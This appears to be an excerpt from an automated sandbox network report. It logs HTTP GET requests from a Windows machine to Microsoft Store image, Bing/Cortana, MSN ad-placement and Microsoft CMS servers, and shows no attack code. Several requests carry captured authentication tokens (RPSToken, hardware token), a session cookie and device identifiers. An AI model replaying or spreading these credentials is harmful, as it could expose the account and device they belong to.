Source: global traffic	HTTP traffic detected: GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5845.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.477c821a-ca1f-4c68-937c-677b2841df44?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64125.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.9bc20b6e-b23e-440d-a57d-43a19d3c51a5?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVQdwAm1wPCi8Fx5oEKE5cDIl5xGVpkX1gYVzEv1LqzdGt%2B2REYyOhCLJItOKNrfpMBSsH8Hy/HxT9FJ98TpaLXS%2BoY9G7y8DKdse9bSyV0XWWXj2tabM4%2Bda%2BDmYvnZOO1p7WPsOHqWjAOTytSnGi13Svg/JL2OY5ClqVignE2ErEAeRg6AlMqVXx1B6JCX1xd3BnHXvgiE2ta0p%2BgB2pOOwQlEHD5voFgDJUw2f%2BZgBn3Wx4nCcNr76U/h%2B5JNFGMfouZnrTu66GBM7Um%2BvpCwMH4Qwv093aHONpJfdd4xHXHxh/y6Lxsj6nthVso55C/oRyJlt17hCRWS2GgyrjsDZgAACFxma8wDtD%2BHqAFjzAAeBLXsfbCHo2fJ39uqfDAwzLDc1uj5FpxGQnXeD4Oh7xEBbkwYz1vnigz05/77HX3DPeDifwaBEWWeXrRf/zE99s6i8a7fQtcMnzPd97eXDHeI2HhZqexwWTpWXsxVtNwQgW1EKTSbFEbEWz%2BKRRlLm08ENe6zIfafl51vsz0ci6T%2B1zcsxQbFR824xmokO0MIb77dXnh4Dll/LY1WHmqIcHu97OvsT/XExzeW5EBwtO%2BWRYO8WicjL06mSUORo0pF%2B1PJAvW8qdrhd%2BHSWm5wi94HzvmgeeXZLWTYiUW9fqXm7EYJBSF/TSobOd/QYtDhgnxf1lbp1I5NjHDVqDcjT56zDYRXM6V%2Bx2D78X2EEWNmERqj9dGrv0k0C1XznQ1yiYMRSYQ8y8SXvmC4kDbvZcyeqlfM59ek8xWfevv0t4zB/TkDK5RUFFbePf59b%2BM7mCSdUWPIGxJhE1nAMfnw0TEzeEOZKzRaaI9y2TEG4twddsJc5X7ev4pVSJInnSEVQT8GWtZdooCfCzLv5oDC%2BYJBhRCG/ilti8O4rBV2adEZTwvv1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658348601User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: AB18CF7C1D2543A8BC70B3F380354A25X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVQdwAm1wPCi8Fx5oEKE5cDIl5xGVpkX1gYVzEv1LqzdGt%2B2REYyOhCLJItOKNrfpMBSsH8Hy/HxT9FJ98TpaLXS%2BoY9G7y8DKdse9bSyV0XWWXj2tabM4%2Bda%2BDmYvnZOO1p7WPsOHqWjAOTytSnGi13Svg/JL2OY5ClqVignE2ErEAeRg6AlMqVXx1B6JCX1xd3BnHXvgiE2ta0p%2BgB2pOOwQlEHD5voFgDJUw2f%2BZgBn3Wx4nCcNr76U/h%2B5JNFGMfouZnrTu66GBM7Um%2BvpCwMH4Qwv093aHONpJfdd4xHXHxh/y6Lxsj6nthVso55C/oRyJlt17hCRWS2GgyrjsDZgAACFxma8wDtD%2BHqAFjzAAeBLXsfbCHo2fJ39uqfDAwzLDc1uj5FpxGQnXeD4Oh7xEBbkwYz1vnigz05/77HX3DPeDifwaBEWWeXrRf/zE99s6i8a7fQtcMnzPd97eXDHeI2HhZqexwWTpWXsxVtNwQgW1EKTSbFEbEWz%2BKRRlLm08ENe6zIfafl51vsz0ci6T%2B1zcsxQbFR824xmokO0MIb77dXnh4Dll/LY1WHmqIcHu97OvsT/XExzeW5EBwtO%2BWRYO8WicjL06mSUORo0pF%2B1PJAvW8qdrhd%2BHSWm5wi94HzvmgeeXZLWTYiUW9fqXm7EYJBSF/TSobOd/QYtDhgnxf1lbp1I5NjHDVqDcjT56zDYRXM6V%2Bx2D78X2EEWNmERqj9dGrv0k0C1XznQ1yiYMRSYQ8y8SXvmC4kDbvZcyeqlfM59ek8xWfevv0t4zB/TkDK5RUFFbePf59b%2BM7mCSdUWPIGxJhE1nAMfnw0TEzeEOZKzRaaI9y2TEG4twddsJc5X7ev4pVSJInnSEVQT8GWtZdooCfCzLv5oDC%2BYJBhRCG/ilti8O4rBV2adEZTwvv1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658348601User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: AB18CF7C1D2543A8BC70B3F380354A25X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202406Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=771a6a27c36946228f4352981eacdbfd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-338389&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: co1Ff7xIeka3O5ff.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202407Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=462b70d936aa4f00901809a3b0ece4f3&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-280815&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: co1Ff7xIeka3O5ff.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202423Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1dd9c3d19b0b47d2b0a6a478bc60d632&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-338388&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAfdA1xk8TwlI2MCPPrHztgczXy73+7qm8bqjx/Fnq99aLKuaD++BXz9m28mjOcm06bCgb5X+lXu66UdwbU0BfYQ+hxUvbqMxrJfe1ER0c1amazdvK9Nh2jIwqBH+QvudNEaBhLzfS8t0vZxJAPLKUJVusDlJ6tcwAWQQWJ30M2pLEgjytmteAdaXkkNRV5tSQsFjmvBVVC3X6xb45dL4JG1hp+Vu8DOA4ku7E1DMMd1+x44ZrqrJFz4cnrwa9stLZo9Ar1mLzhxJqRmYaB5tb72kxU1aoSu29gRNjmDKHYT9TEhkW4+WBl0pREFyUUBV56UXzfydOV4oM/zuiHG2kJADZgAACA7TdZOVwXS4qAEHnsOxASwVdijDjsH7aRL+a+CPfRMgVzbxa8JH0HjMwtwsYp+bj12s2WK2iZJ4I9q8DlJY9AmvZhKLld0TeJVl+pHFwpxuKFct5jCePZcITBD2/DpdZbU10LzyfWA2NDb296g+Hwd6kfyZ5eLmjwkz0uM51s75lBupNxLhkTP/TP+5W7OaugADwmCvwui8mNWrlhRw1UR3spAxIH05CFTb2P9m8F2HgQTRo72rN5vy6LSWuFiyjgwD/xHrOTEoizkFp1p0PgMkry3JVqoWqxnQHmFNScJf7VMe8ezfUB17si/OeVwJYcbfN3FdWNI8+1np/NgXzpE0UZYlZ2cEGOGPno5YTb/LW3c1rmbluDfIzGWbR6H8SETWSUnjra00LixEYIeALYnGo+vvwaFnhvcWykAn76dZZLYupJZ58BXm5mhEl6dQEjAqlm64R8sixvCMyDyiYScs41UgQmMRVZybkS1qxRofQ4FuLy7TARK37nBw8prL7pGlVNImlqQHsUfWAzm1Ga+PtZ9q6ri8yIqPdy8H9cYXlUDrSmnSHpbQQSAgSTmeXkDX1gE=&p=Cache-Control: no-cacheMS-CV: co1Ff7xIeka3O5ff.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202423Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0a8241ffc314448294ed2061bf5619b6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-338387&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAfdA1xk8TwlI2MCPPrHztgczXy73+7qm8bqjx/Fnq99aLKuaD++BXz9m28mjOcm06bCgb5X+lXu66UdwbU0BfYQ+hxUvbqMxrJfe1ER0c1amazdvK9Nh2jIwqBH+QvudNEaBhLzfS8t0vZxJAPLKUJVusDlJ6tcwAWQQWJ30M2pLEgjytmteAdaXkkNRV5tSQsFjmvBVVC3X6xb45dL4JG1hp+Vu8DOA4ku7E1DMMd1+x44ZrqrJFz4cnrwa9stLZo9Ar1mLzhxJqRmYaB5tb72kxU1aoSu29gRNjmDKHYT9TEhkW4+WBl0pREFyUUBV56UXzfydOV4oM/zuiHG2kJADZgAACA7TdZOVwXS4qAEHnsOxASwVdijDjsH7aRL+a+CPfRMgVzbxa8JH0HjMwtwsYp+bj12s2WK2iZJ4I9q8DlJY9AmvZhKLld0TeJVl+pHFwpxuKFct5jCePZcITBD2/DpdZbU10LzyfWA2NDb296g+Hwd6kfyZ5eLmjwkz0uM51s75lBupNxLhkTP/TP+5W7OaugADwmCvwui8mNWrlhRw1UR3spAxIH05CFTb2P9m8F2HgQTRo72rN5vy6LSWuFiyjgwD/xHrOTEoizkFp1p0PgMkry3JVqoWqxnQHmFNScJf7VMe8ezfUB17si/OeVwJYcbfN3FdWNI8+1np/NgXzpE0UZYlZ2cEGOGPno5YTb/LW3c1rmbluDfIzGWbR6H8SETWSUnjra00LixEYIeALYnGo+vvwaFnhvcWykAn76dZZLYupJZ58BXm5mhEl6dQEjAqlm64R8sixvCMyDyiYScs41UgQmMRVZybkS1qxRofQ4FuLy7TARK37nBw8prL7pGlVNImlqQHsUfWAzm1Ga+PtZ9q6ri8yIqPdy8H9cYXlUDrSmnSHpbQQSAgSTmeXkDX1gE=&p=Cache-Control: no-cacheMS-CV: co1Ff7xIeka3O5ff.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
